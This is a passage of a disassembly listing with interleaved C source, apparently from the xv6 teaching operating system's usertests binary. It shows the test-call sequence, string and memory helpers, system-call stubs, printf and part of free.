f4 ff ff call 30f5 <sbrktest> validatetest(); 3bfc: e8 02 fa ff ff call 3603 <validatetest> opentest(); 3c01: e8 f9 c6 ff ff call 2ff <opentest> writetest(); 3c06: e8 a3 c7 ff ff call 3ae <writetest> writetest1(); 3c0b: e8 ae c9 ff ff call 5be <writetest1> createtest(); 3c10: e8 a5 cb ff ff call 7ba <createtest> openiputtest(); 3c15: e8 d6 c5 ff ff call 1f0 <openiputtest> exitiputtest(); 3c1a: e8 d2 c4 ff ff call f1 <exitiputtest> iputtest(); 3c1f: e8 dc c3 ff ff call 0 <iputtest> mem(); 3c24: e8 5c d1 ff ff call d85 <mem> pipe1(); 3c29: e8 93 cd ff ff call 9c1 <pipe1> preempt(); 3c2e: e8 77 cf ff ff call baa <preempt> exitwait(); 3c33: e8 d5 d0 ff ff call d0d <exitwait> rmdot(); 3c38: e8 f7 ee ff ff call 2b34 <rmdot> fourteen(); 3c3d: e8 96 ed ff ff call 29d8 <fourteen> bigfile(); 3c42: e8 79 eb ff ff call 27c0 <bigfile> subdir(); 3c47: e8 32 e3 ff ff call 1f7e <subdir> linktest(); 3c4c: e8 8d da ff ff call 16de <linktest> unlinkread(); 3c51: e8 c6 d8 ff ff call 151c <unlinkread> dirfile(); 3c56: e8 5e f0 ff ff call 2cb9 <dirfile> iref(); 3c5b: e8 91 f2 ff ff call 2ef1 <iref> forktest(); 3c60: e8 c6 f3 ff ff call 302b <forktest> bigdir(); // slow 3c65: e8 9f e1 ff ff call 1e09 <bigdir> exectest(); 3c6a: e8 ff cc ff ff call 96e <exectest> exit(); 3c6f: e8 57 02 00 00 call 3ecb <exit> 00003c74 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 3c74: 55 push %ebp 3c75: 89 e5 mov %esp,%ebp 3c77: 57 push %edi 3c78: 53 push %ebx asm volatile("cld; rep stosb" : 3c79: 8b 4d 08 mov 0x8(%ebp),%ecx 3c7c: 8b 55 10 mov 0x10(%ebp),%edx 3c7f: 8b 45 0c mov 0xc(%ebp),%eax 3c82: 89 cb mov %ecx,%ebx 3c84: 89 df mov %ebx,%edi 3c86: 89 d1 mov %edx,%ecx 3c88: fc cld 3c89: f3 aa rep stos %al,%es:(%edi) 3c8b: 89 ca mov %ecx,%edx 3c8d: 89 fb mov %edi,%ebx 3c8f: 89 5d 08 mov %ebx,0x8(%ebp) 3c92: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 3c95: 90 nop 3c96: 5b pop %ebx 3c97: 5f pop %edi 3c98: 5d pop %ebp 3c99: c3 ret 00003c9a <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 3c9a: 55 push %ebp 3c9b: 89 e5 mov %esp,%ebp 3c9d: 83 ec 10 sub $0x10,%esp char *os; os = s; 3ca0: 8b 45 08 mov 0x8(%ebp),%eax 3ca3: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 3ca6: 90 nop 3ca7: 8b 55 0c mov 0xc(%ebp),%edx 3caa: 8d 42 01 lea 0x1(%edx),%eax 3cad: 89 45 0c mov %eax,0xc(%ebp) 3cb0: 8b 45 08 mov 0x8(%ebp),%eax 3cb3: 8d 48 01 lea 0x1(%eax),%ecx 3cb6: 89 4d 08 mov %ecx,0x8(%ebp) 3cb9: 0f b6 12 movzbl (%edx),%edx 3cbc: 88 10 mov %dl,(%eax) 3cbe: 0f b6 00 movzbl (%eax),%eax 3cc1: 84 c0 test %al,%al 3cc3: 75 e2 jne 3ca7 <strcpy+0xd> ; return os; 3cc5: 8b 45 fc mov -0x4(%ebp),%eax } 3cc8: c9 leave 3cc9: c3 ret 00003cca <strcmp>: int strcmp(const char *p, const char *q) { 3cca: 55 push %ebp 3ccb: 89 e5 mov %esp,%ebp while(*p && *p == *q) 3ccd: eb 08 jmp 3cd7 <strcmp+0xd> p++, q++; 3ccf: 83 45 08 01 addl $0x1,0x8(%ebp) 3cd3: 83 45 0c 01 addl $0x1,0xc(%ebp) while(*p && *p == *q) 3cd7: 8b 45 08 mov 0x8(%ebp),%eax 3cda: 0f b6 00 movzbl (%eax),%eax 3cdd: 84 c0 test %al,%al 3cdf: 74 10 je 3cf1 <strcmp+0x27> 3ce1: 8b 45 08 mov 0x8(%ebp),%eax 3ce4: 0f b6 10 movzbl (%eax),%edx 3ce7: 8b 45 0c mov 0xc(%ebp),%eax 3cea: 0f b6 00 movzbl (%eax),%eax 3ced: 38 c2 cmp %al,%dl 3cef: 74 de je 3ccf <strcmp+0x5> return (uchar)*p - (uchar)*q; 3cf1: 8b 45 08 mov 0x8(%ebp),%eax 3cf4: 0f b6 00 movzbl (%eax),%eax 3cf7: 0f b6 d0 movzbl %al,%edx 3cfa: 8b 45 0c mov 0xc(%ebp),%eax 3cfd: 0f b6 00 movzbl (%eax),%eax 3d00: 0f b6 c0 movzbl %al,%eax 3d03: 29 c2 sub %eax,%edx 3d05: 89 d0 mov %edx,%eax } 3d07: 5d pop %ebp 3d08: c3 ret 00003d09 <strlen>: uint strlen(char *s) { 3d09: 55 push %ebp 3d0a: 89 e5 mov %esp,%ebp 3d0c: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 3d0f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 3d16: eb 04 jmp 3d1c <strlen+0x13> 3d18: 83 45 fc 01 addl $0x1,-0x4(%ebp) 3d1c: 8b 55 fc mov -0x4(%ebp),%edx 3d1f: 8b 45 08 mov 0x8(%ebp),%eax 3d22: 01 d0 add %edx,%eax 3d24: 0f b6 00 movzbl (%eax),%eax 3d27: 84 c0 test %al,%al 3d29: 75 ed jne 3d18 <strlen+0xf> ; return n; 3d2b: 8b 45 fc mov -0x4(%ebp),%eax } 3d2e: c9 leave 3d2f: c3 ret 00003d30 <memset>: void* memset(void *dst, int c, uint n) { 3d30: 55 push %ebp 3d31: 89 e5 mov %esp,%ebp stosb(dst, c, n); 3d33: 8b 45 10 mov 0x10(%ebp),%eax 3d36: 50 push %eax 3d37: ff 75 0c pushl 0xc(%ebp) 3d3a: ff 75 08 pushl 0x8(%ebp) 3d3d: e8 32 ff ff ff call 3c74 <stosb> 3d42: 83 c4 0c add $0xc,%esp return dst; 3d45: 8b 45 08 mov 0x8(%ebp),%eax } 3d48: c9 leave 3d49: c3 ret 00003d4a <strchr>: char* strchr(const char *s, char c) { 3d4a: 55 push %ebp 3d4b: 89 e5 mov %esp,%ebp 3d4d: 83 ec 04 sub $0x4,%esp 3d50: 8b 45 0c mov 0xc(%ebp),%eax 3d53: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 3d56: eb 14 jmp 3d6c <strchr+0x22> if(*s == c) 3d58: 8b 45 08 mov 0x8(%ebp),%eax 3d5b: 0f b6 00 movzbl (%eax),%eax 3d5e: 38 45 fc cmp %al,-0x4(%ebp) 3d61: 75 05 jne 3d68 <strchr+0x1e> return (char*)s; 3d63: 8b 45 08 mov 0x8(%ebp),%eax 3d66: eb 13 jmp 3d7b <strchr+0x31> for(; *s; s++) 3d68: 83 45 08 01 addl $0x1,0x8(%ebp) 3d6c: 8b 45 08 mov 0x8(%ebp),%eax 3d6f: 0f b6 00 movzbl (%eax),%eax 3d72: 84 c0 test %al,%al 3d74: 75 e2 jne 3d58 <strchr+0xe> return 0; 3d76: b8 00 00 00 00 mov $0x0,%eax } 3d7b: c9 leave 3d7c: c3 ret 00003d7d <gets>: char* gets(char *buf, int max) { 3d7d: 55 push %ebp 3d7e: 89 e5 mov %esp,%ebp 3d80: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 3d83: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 3d8a: eb 42 jmp 3dce <gets+0x51> cc = read(0, &c, 1); 3d8c: 83 ec 04 sub $0x4,%esp 3d8f: 6a 01 push $0x1 3d91: 8d 45 ef lea -0x11(%ebp),%eax 3d94: 50 push %eax 3d95: 6a 00 push $0x0 3d97: e8 47 01 00 00 call 3ee3 <read> 3d9c: 83 c4 10 add $0x10,%esp 3d9f: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 3da2: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 3da6: 7e 33 jle 3ddb <gets+0x5e> break; buf[i++] = c; 3da8: 8b 45 f4 mov -0xc(%ebp),%eax 3dab: 8d 50 01 lea 0x1(%eax),%edx 3dae: 89 55 f4 mov %edx,-0xc(%ebp) 3db1: 89 c2 mov %eax,%edx 3db3: 8b 45 08 mov 0x8(%ebp),%eax 3db6: 01 c2 add %eax,%edx 3db8: 0f b6 45 ef movzbl -0x11(%ebp),%eax 3dbc: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 3dbe: 0f b6 45 ef movzbl -0x11(%ebp),%eax 3dc2: 3c 0a cmp $0xa,%al 3dc4: 74 16 je 3ddc <gets+0x5f> 3dc6: 0f b6 45 ef movzbl -0x11(%ebp),%eax 3dca: 3c 0d cmp $0xd,%al 3dcc: 74 0e je 3ddc <gets+0x5f> for(i=0; i+1 < max; ){ 3dce: 8b 45 f4 mov -0xc(%ebp),%eax 3dd1: 83 c0 01 add $0x1,%eax 3dd4: 39 45 0c cmp %eax,0xc(%ebp) 3dd7: 7f b3 jg 3d8c <gets+0xf> 3dd9: eb 01 jmp 3ddc <gets+0x5f> break; 3ddb: 90 nop break; } buf[i] = '\0'; 3ddc: 8b 55 f4 mov -0xc(%ebp),%edx 3ddf: 8b 45 08 mov 0x8(%ebp),%eax 3de2: 01 d0 add %edx,%eax 3de4: c6 00 00 movb $0x0,(%eax) return buf; 3de7: 8b 45 08 mov 0x8(%ebp),%eax } 3dea: c9 leave 3deb: c3 ret 00003dec <stat>: int stat(char *n, struct stat *st) { 3dec: 55 push %ebp 3ded: 89 e5 mov %esp,%ebp 3def: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 3df2: 83 ec 08 sub $0x8,%esp 3df5: 6a 00 push $0x0 3df7: ff 75 08 pushl 0x8(%ebp) 3dfa: e8 0c 01 00 00 call 3f0b <open> 3dff: 83 c4 10 add $0x10,%esp 3e02: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 3e05: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 3e09: 79 07 jns 3e12 <stat+0x26> return -1; 3e0b: b8 ff ff ff ff mov $0xffffffff,%eax 3e10: eb 25 jmp 3e37 <stat+0x4b> r = fstat(fd, st); 3e12: 83 ec 08 sub $0x8,%esp 3e15: ff 75 0c pushl 0xc(%ebp) 3e18: ff 75 f4 pushl -0xc(%ebp) 3e1b: e8 03 01 00 00 call 3f23 <fstat> 3e20: 83 c4 10 add $0x10,%esp 3e23: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 3e26: 83 ec 0c sub $0xc,%esp 3e29: ff 75 f4 pushl -0xc(%ebp) 3e2c: e8 c2 00 00 00 call 3ef3 <close> 3e31: 83 c4 10 add $0x10,%esp return r; 3e34: 8b 45 f0 mov -0x10(%ebp),%eax } 3e37: c9 leave 3e38: c3 ret 00003e39 <atoi>: int atoi(const char *s) { 3e39: 55 push %ebp 3e3a: 89 e5 mov %esp,%ebp 3e3c: 83 ec 10 sub $0x10,%esp int n; n = 0; 3e3f: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 3e46: eb 25 jmp 3e6d <atoi+0x34> n = n*10 + *s++ - '0'; 3e48: 8b 55 fc mov -0x4(%ebp),%edx 3e4b: 89 d0 mov %edx,%eax 3e4d: c1 e0 02 shl $0x2,%eax 3e50: 01 d0 add %edx,%eax 3e52: 01 c0 add %eax,%eax 3e54: 89 c1 mov %eax,%ecx 3e56: 8b 45 08 mov 0x8(%ebp),%eax 3e59: 8d 50 01 lea 0x1(%eax),%edx 3e5c: 89 55 08 mov %edx,0x8(%ebp) 3e5f: 0f b6 00 movzbl (%eax),%eax 3e62: 0f be c0 movsbl %al,%eax 3e65: 01 c8 add %ecx,%eax 3e67: 83 e8 30 sub $0x30,%eax 3e6a: 89 45 fc mov %eax,-0x4(%ebp) while('0' <= *s && *s <= '9') 3e6d: 8b 45 08 mov 0x8(%ebp),%eax 3e70: 0f b6 00 movzbl (%eax),%eax 3e73: 3c 2f cmp $0x2f,%al 3e75: 7e 0a jle 3e81 <atoi+0x48> 3e77: 8b 45 08 mov 0x8(%ebp),%eax 3e7a: 0f b6 00 movzbl (%eax),%eax 3e7d: 3c 39 cmp $0x39,%al 3e7f: 7e c7 jle 3e48 <atoi+0xf> return n; 3e81: 8b 45 fc mov -0x4(%ebp),%eax } 3e84: c9 leave 3e85: c3 ret 00003e86 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 3e86: 55 push %ebp 3e87: 89 e5 mov %esp,%ebp 3e89: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 3e8c: 8b 45 08 mov 0x8(%ebp),%eax 3e8f: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 3e92: 8b 45 0c mov 0xc(%ebp),%eax 3e95: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 3e98: eb 17 jmp 3eb1 <memmove+0x2b> *dst++ = *src++; 3e9a: 8b 55 f8 mov -0x8(%ebp),%edx 3e9d: 8d 42 01 lea 0x1(%edx),%eax 3ea0: 89 45 f8 mov %eax,-0x8(%ebp) 3ea3: 8b 45 fc mov -0x4(%ebp),%eax 3ea6: 8d 48 01 lea 0x1(%eax),%ecx 3ea9: 89 4d fc mov %ecx,-0x4(%ebp) 3eac: 0f b6 12 movzbl (%edx),%edx 3eaf: 88 10 mov %dl,(%eax) while(n-- > 0) 3eb1: 8b 45 10 mov 0x10(%ebp),%eax 3eb4: 8d 50 ff lea -0x1(%eax),%edx 3eb7: 89 55 10 mov %edx,0x10(%ebp) 3eba: 85 c0 test %eax,%eax 3ebc: 7f dc jg 3e9a <memmove+0x14> return vdst; 3ebe: 8b 45 08 mov 0x8(%ebp),%eax } 3ec1: c9 leave 3ec2: c3 ret 00003ec3 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 3ec3: b8 01 00 00 00 mov $0x1,%eax 3ec8: cd 40 int $0x40 3eca: c3 ret 00003ecb <exit>: SYSCALL(exit) 3ecb: b8 02 00 00 00 mov $0x2,%eax 3ed0: cd 40 int $0x40 3ed2: c3 ret 00003ed3 <wait>: SYSCALL(wait) 3ed3: b8 03 00 00 00 mov $0x3,%eax 3ed8: cd 40 int $0x40 3eda: c3 ret 00003edb <pipe>: SYSCALL(pipe) 3edb: b8 04 00 00 00 mov $0x4,%eax 3ee0: cd 40 int $0x40 3ee2: c3 ret 00003ee3 <read>: SYSCALL(read) 3ee3: b8 05 00 00 00 mov $0x5,%eax 3ee8: cd 40 int $0x40 3eea: c3 ret 00003eeb <write>: SYSCALL(write) 3eeb: b8 10 00 00 00 mov $0x10,%eax 3ef0: cd 40 int $0x40 3ef2: c3 ret 00003ef3 <close>: SYSCALL(close) 3ef3: b8 15 00 00 00 mov $0x15,%eax 3ef8: cd 40 int $0x40 3efa: c3 ret 00003efb <kill>: SYSCALL(kill) 3efb: b8 06 00 00 00 mov $0x6,%eax 3f00: cd 40 int $0x40 3f02: c3 ret 00003f03 <exec>: SYSCALL(exec) 3f03: b8 07 00 00 00 mov $0x7,%eax 3f08: cd 40 int $0x40 3f0a: c3 ret 00003f0b <open>: SYSCALL(open) 3f0b: b8 0f 00 00 00 mov $0xf,%eax 3f10: cd 40 int $0x40 3f12: c3 ret 00003f13 <mknod>: SYSCALL(mknod) 3f13: b8 11 00 00 00 mov $0x11,%eax 3f18: cd 40 int $0x40 3f1a: c3 ret 00003f1b <unlink>: SYSCALL(unlink) 3f1b: b8 12 00 00 00 mov $0x12,%eax 3f20: cd 40 int $0x40 3f22: c3 ret 00003f23 <fstat>: SYSCALL(fstat) 3f23: b8 08 00 00 00 mov $0x8,%eax 3f28: cd 40 int $0x40 3f2a: c3 ret 00003f2b <link>: SYSCALL(link) 3f2b: b8 13 00 00 00 mov $0x13,%eax 3f30: cd 40 int $0x40 3f32: c3 ret 00003f33 <mkdir>: SYSCALL(mkdir) 3f33: b8 14 00 00 00 mov $0x14,%eax 3f38: cd 40 int $0x40 3f3a: c3 ret 00003f3b <chdir>: SYSCALL(chdir) 3f3b: b8 09 00 00 00 mov $0x9,%eax 3f40: cd 40 int $0x40 3f42: c3 ret 00003f43 <dup>: SYSCALL(dup) 3f43: b8 0a 00 00 00 mov $0xa,%eax 3f48: cd 40 int $0x40 3f4a: c3 ret 00003f4b <getpid>: SYSCALL(getpid) 3f4b: b8 0b 00 00 00 mov $0xb,%eax 3f50: cd 40 int $0x40 3f52: c3 ret 00003f53 <sbrk>: SYSCALL(sbrk) 3f53: b8 0c 00 00 00 mov $0xc,%eax 3f58: cd 40 int $0x40 3f5a: c3 ret 00003f5b <sleep>: SYSCALL(sleep) 3f5b: b8 0d 00 00 00 mov $0xd,%eax 3f60: cd 40 int $0x40 3f62: c3 ret 00003f63 <uptime>: SYSCALL(uptime) 3f63: b8 0e 00 00 00 mov $0xe,%eax 3f68: cd 40 int $0x40 3f6a: c3 ret 00003f6b <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 3f6b: 55 push %ebp 3f6c: 89 e5 mov %esp,%ebp 3f6e: 83 ec 18 sub $0x18,%esp 3f71: 8b 45 0c mov 0xc(%ebp),%eax 3f74: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 3f77: 83 ec 04 sub $0x4,%esp 3f7a: 6a 01 push $0x1 3f7c: 8d 45 f4 lea -0xc(%ebp),%eax 3f7f: 50 push %eax 3f80: ff 75 08 pushl 0x8(%ebp) 3f83: e8 63 ff ff ff call 3eeb <write> 3f88: 83 c4 10 add $0x10,%esp } 3f8b: 90 nop 3f8c: c9 leave 3f8d: c3 ret 00003f8e <printint>: static void printint(int fd, int xx, int base, int sgn) { 3f8e: 55 push %ebp 3f8f: 89 e5 mov %esp,%ebp 3f91: 83 ec 28 sub $0x28,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 3f94: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 3f9b: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 3f9f: 74 17 je 3fb8 <printint+0x2a> 3fa1: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 3fa5: 79 11 jns 3fb8 <printint+0x2a> neg = 1; 3fa7: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 3fae: 8b 45 0c mov 0xc(%ebp),%eax 3fb1: f7 d8 neg %eax 3fb3: 89 45 ec mov %eax,-0x14(%ebp) 3fb6: eb 06 jmp 3fbe <printint+0x30> } else { x = xx; 3fb8: 8b 45 0c mov 0xc(%ebp),%eax 3fbb: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 3fbe: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 3fc5: 8b 4d 10 mov 0x10(%ebp),%ecx 3fc8: 8b 45 ec mov -0x14(%ebp),%eax 3fcb: ba 00 00 00 00 mov $0x0,%edx 3fd0: f7 f1 div %ecx 3fd2: 89 d1 mov %edx,%ecx 3fd4: 8b 45 f4 mov -0xc(%ebp),%eax 3fd7: 8d 50 01 lea 0x1(%eax),%edx 3fda: 89 55 f4 mov %edx,-0xc(%ebp) 3fdd: 0f b6 91 b0 62 00 00 movzbl 0x62b0(%ecx),%edx 3fe4: 88 54 05 dc mov %dl,-0x24(%ebp,%eax,1) }while((x /= base) != 0); 3fe8: 8b 4d 10 mov 0x10(%ebp),%ecx 3feb: 8b 45 ec mov -0x14(%ebp),%eax 3fee: ba 00 00 00 00 mov $0x0,%edx 3ff3: f7 f1 div %ecx 3ff5: 89 45 ec mov %eax,-0x14(%ebp) 3ff8: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 3ffc: 75 c7 jne 3fc5 <printint+0x37> if(neg) 3ffe: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4002: 74 2d je 4031 <printint+0xa3> buf[i++] = '-'; 4004: 8b 45 f4 mov -0xc(%ebp),%eax 4007: 8d 50 01 lea 0x1(%eax),%edx 400a: 89 55 f4 mov %edx,-0xc(%ebp) 400d: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 4012: eb 1d jmp 4031 <printint+0xa3> putc(fd, buf[i]); 4014: 8d 55 dc lea -0x24(%ebp),%edx 4017: 8b 45 f4 mov -0xc(%ebp),%eax 401a: 01 d0 add %edx,%eax 401c: 0f b6 00 movzbl (%eax),%eax 401f: 0f be c0 movsbl %al,%eax 4022: 83 ec 08 sub $0x8,%esp 4025: 50 push %eax 4026: ff 75 08 pushl 0x8(%ebp) 4029: e8 3d ff ff ff call 3f6b <putc> 402e: 83 c4 10 add $0x10,%esp while(--i >= 0) 4031: 83 6d f4 01 subl $0x1,-0xc(%ebp) 4035: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4039: 79 d9 jns 4014 <printint+0x86> } 403b: 90 nop 403c: c9 leave 403d: c3 ret 0000403e <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 403e: 55 push %ebp 403f: 89 e5 mov %esp,%ebp 4041: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 4044: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 404b: 8d 45 0c lea 0xc(%ebp),%eax 404e: 83 c0 04 add $0x4,%eax 4051: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 4054: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 405b: e9 59 01 00 00 jmp 41b9 <printf+0x17b> c = fmt[i] & 0xff; 4060: 8b 55 0c mov 0xc(%ebp),%edx 4063: 8b 45 f0 mov -0x10(%ebp),%eax 4066: 01 d0 add %edx,%eax 4068: 0f b6 00 movzbl (%eax),%eax 406b: 0f be c0 movsbl %al,%eax 406e: 25 ff 00 00 00 and $0xff,%eax 4073: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 4076: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 407a: 75 2c jne 40a8 <printf+0x6a> if(c == '%'){ 407c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 4080: 75 0c jne 408e <printf+0x50> state = '%'; 4082: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 4089: e9 27 01 00 00 jmp 41b5 <printf+0x177> } else { putc(fd, c); 408e: 8b 45 e4 mov -0x1c(%ebp),%eax 4091: 0f be c0 movsbl %al,%eax 4094: 83 ec 08 sub $0x8,%esp 4097: 50 push %eax 4098: ff 75 08 pushl 0x8(%ebp) 409b: e8 cb fe ff ff call 3f6b <putc> 40a0: 83 c4 10 add $0x10,%esp 40a3: e9 0d 01 00 00 jmp 41b5 <printf+0x177> } } else if(state == '%'){ 40a8: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 40ac: 0f 85 03 01 00 00 jne 41b5 <printf+0x177> if(c == 'd'){ 40b2: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 40b6: 75 1e jne 40d6 <printf+0x98> printint(fd, *ap, 10, 1); 40b8: 8b 45 e8 mov -0x18(%ebp),%eax 40bb: 8b 00 mov (%eax),%eax 40bd: 6a 01 push $0x1 40bf: 6a 0a push $0xa 40c1: 50 push %eax 40c2: ff 75 08 pushl 0x8(%ebp) 40c5: e8 c4 fe ff ff call 3f8e <printint> 40ca: 83 c4 10 add $0x10,%esp ap++; 40cd: 83 45 e8 04 addl $0x4,-0x18(%ebp) 40d1: e9 d8 00 00 00 jmp 41ae <printf+0x170> } else if(c == 'x' || c == 'p'){ 40d6: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 40da: 74 06 je 40e2 <printf+0xa4> 40dc: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 40e0: 75 1e jne 4100 <printf+0xc2> printint(fd, *ap, 16, 0); 40e2: 8b 45 e8 mov -0x18(%ebp),%eax 40e5: 8b 00 mov (%eax),%eax 40e7: 6a 00 push $0x0 40e9: 6a 10 push $0x10 40eb: 50 push %eax 40ec: ff 75 08 pushl 0x8(%ebp) 40ef: e8 9a fe ff ff call 3f8e <printint> 40f4: 83 c4 10 add $0x10,%esp ap++; 40f7: 83 45 e8 04 addl $0x4,-0x18(%ebp) 40fb: e9 ae 00 00 00 jmp 41ae <printf+0x170> } else if(c == 's'){ 4100: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 4104: 75 43 jne 4149 <printf+0x10b> s = (char*)*ap; 4106: 8b 45 e8 mov -0x18(%ebp),%eax 4109: 8b 00 mov (%eax),%eax 410b: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 410e: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 4112: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4116: 75 25 jne 413d <printf+0xff> s = "(null)"; 4118: c7 45 f4 be 5b 00 00 movl $0x5bbe,-0xc(%ebp) while(*s != 0){ 411f: eb 1c jmp 413d <printf+0xff> putc(fd, *s); 4121: 8b 45 f4 mov -0xc(%ebp),%eax 4124: 0f b6 00 movzbl (%eax),%eax 4127: 0f be c0 movsbl %al,%eax 412a: 83 ec 08 sub $0x8,%esp 412d: 50 push %eax 412e: ff 75 08 pushl 0x8(%ebp) 4131: e8 35 fe ff ff call 3f6b <putc> 4136: 83 c4 10 add $0x10,%esp s++; 4139: 83 45 f4 01 addl $0x1,-0xc(%ebp) while(*s != 0){ 413d: 8b 45 f4 mov -0xc(%ebp),%eax 4140: 0f b6 00 movzbl (%eax),%eax 4143: 84 c0 test %al,%al 4145: 75 da jne 4121 <printf+0xe3> 4147: eb 65 jmp 41ae <printf+0x170> } } else if(c == 'c'){ 4149: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 414d: 75 1d jne 416c <printf+0x12e> putc(fd, *ap); 414f: 8b 45 e8 mov -0x18(%ebp),%eax 4152: 8b 00 mov (%eax),%eax 4154: 0f be c0 movsbl %al,%eax 4157: 83 ec 08 sub $0x8,%esp 415a: 50 push %eax 415b: ff 75 08 pushl 0x8(%ebp) 415e: e8 08 fe ff ff call 3f6b <putc> 4163: 83 c4 10 add $0x10,%esp ap++; 4166: 83 45 e8 04 addl $0x4,-0x18(%ebp) 416a: eb 42 jmp 41ae <printf+0x170> } else if(c == '%'){ 416c: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 4170: 75 17 jne 4189 <printf+0x14b> putc(fd, c); 4172: 8b 45 e4 mov -0x1c(%ebp),%eax 4175: 0f be c0 movsbl %al,%eax 4178: 83 ec 08 sub $0x8,%esp 417b: 50 push %eax 417c: ff 75 08 pushl 0x8(%ebp) 417f: e8 e7 fd ff ff call 3f6b <putc> 4184: 83 c4 10 add $0x10,%esp 4187: eb 25 jmp 41ae <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 4189: 83 ec 08 sub $0x8,%esp 418c: 6a 25 push $0x25 418e: ff 75 08 pushl 0x8(%ebp) 4191: e8 d5 fd ff ff call 3f6b <putc> 4196: 83 c4 10 add $0x10,%esp putc(fd, c); 4199: 8b 45 e4 mov -0x1c(%ebp),%eax 419c: 0f be c0 movsbl %al,%eax 419f: 83 ec 08 sub $0x8,%esp 41a2: 50 push %eax 41a3: ff 75 08 pushl 0x8(%ebp) 41a6: e8 c0 fd ff ff call 3f6b <putc> 41ab: 83 c4 10 add $0x10,%esp } state = 0; 41ae: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) for(i = 0; fmt[i]; i++){ 41b5: 83 45 f0 01 addl $0x1,-0x10(%ebp) 41b9: 8b 55 0c mov 0xc(%ebp),%edx 41bc: 8b 45 f0 mov -0x10(%ebp),%eax 41bf: 01 d0 add %edx,%eax 41c1: 0f b6 00 movzbl (%eax),%eax 41c4: 84 c0 test %al,%al 41c6: 0f 85 94 fe ff ff jne 4060 <printf+0x22> } } } 41cc: 90 nop 41cd: c9 leave 41ce: c3 ret 000041cf <free>: static Header base; static Header *freep; void free(void *ap) { 41cf: 55 push %ebp 41d0: 89 e5 mov %esp,%ebp 41d2: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 41d5: 8b 45 08 mov 0x8(%ebp),%eax 41d8: 83 e8 08 sub $0x8,%eax 41db: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 41de: a1 68 63 00 00 mov 0x6368,%eax 41e3: 89 45 fc mov %eax,-0x4(%ebp) 41e6: eb 24 jmp 420c <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 41e8: 8b 45 fc mov -0x4(%ebp),%eax 41eb: 8b 00 mov (%eax),%eax 41ed: 39 45 fc cmp %eax,-0x4(%ebp) 41f0: 72 12 jb 4204 <free+0x35> 41f2: 8b 45 f8 mov -0x8(%ebp),%eax 41f5: 3b 45 fc cmp -0x4(%ebp),%eax 41f8: 77 24 ja 421e <free+0x4f> 41fa: 8b 45 fc mov -0x4(%ebp),%eax 41fd: 8b 00 mov (%eax),%eax 41ff: 39 45 f8 cmp %eax,-0x8(%ebp) 4202: 72 1a jb 421e <free+0x4f> for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 4204: 8b 45 fc mov -0x4(%ebp),%eax 4207: 8b 00 